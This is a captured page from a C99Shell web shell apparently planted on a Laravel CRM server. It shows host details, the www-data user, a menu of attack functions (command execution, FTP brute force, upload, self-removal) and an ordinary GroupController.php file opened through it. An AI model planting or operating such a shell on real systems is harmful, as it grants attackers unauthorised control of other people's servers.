!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Settings/   drwxrwxrwx
Free 12.95 GB of 57.97 GB (22.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GroupController.php (3.42 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Settings;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\Resources\Json\JsonResource;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\View\View;
use 
Webkul\Admin\DataGrids\Settings\GroupDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\User\Repositories\GroupRepository;

class 
GroupController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(protected GroupRepository $groupRepository) {}

    
/**
     * Display a listing of the resource.
     */
    
public function index(): View|JsonResponse
    
{
        if (
request()->ajax()) {
            return 
datagrid(GroupDataGrid::class)->process();
        }

        return 
view('admin::settings.groups.index');
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function store(): JsonResponse
    
{
        
$this->validate(request(), [
            
'name'        => 'required|unique:groups,name|max:50',
            
'description' => 'required|max:250',
        ]);

        
Event::dispatch('settings.group.create.before');

        
$group $this->groupRepository->create(request()->only([
            
'name',
            
'description',
        ]));

        
Event::dispatch('settings.group.create.after'$group);

        return new 
JsonResponse([
            
'data'    => $group,
            
'message' => trans('admin::app.settings.groups.index.create-success'),
        ]);
    }

    
/**
     * Show the form for editing the specified resource.
     */
    
public function edit(int $id): JsonResource
    
{
        
$group $this->groupRepository->findOrFail($id);

        return new 
JsonResource([
            
'data' => $group,
        ]);
    }

    
/**
     * Update the specified resource in storage.
     */
    
public function update(int $id): JsonResponse
    
{
        
$this->validate(request(), [
            
'name'        => 'required|max:50|unique:groups,name,'.$id,
            
'description' => 'required|max:250',
        ]);

        
Event::dispatch('settings.group.update.before'$id);

        
$group $this->groupRepository->update(request()->only([
            
'name',
            
'description',
        ]), 
$id);

        
Event::dispatch('settings.group.update.after'$group);

        return new 
JsonResponse([
            
'data'    => $group,
            
'message' => trans('admin::app.settings.groups.index.update-success'),
        ]);
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @return \Illuminate\Http\Response
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$group $this->groupRepository->findOrFail($id);

        if (
$group->users()->exists()) {
            return 
response()->json([
                
'message' => trans('admin::app.settings.groups.index.delete-failed-associated-users'),
            ], 
400);
        }

        try {
            
Event::dispatch('settings.group.delete.before'$id);

            
$group->delete($id);

            
Event::dispatch('settings.group.delete.after'$id);

            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.groups.index.destroy-success'),
            ], 
200);
        } catch (
\Exception $exception) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.groups.index.delete-failed'),
            ], 
400);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--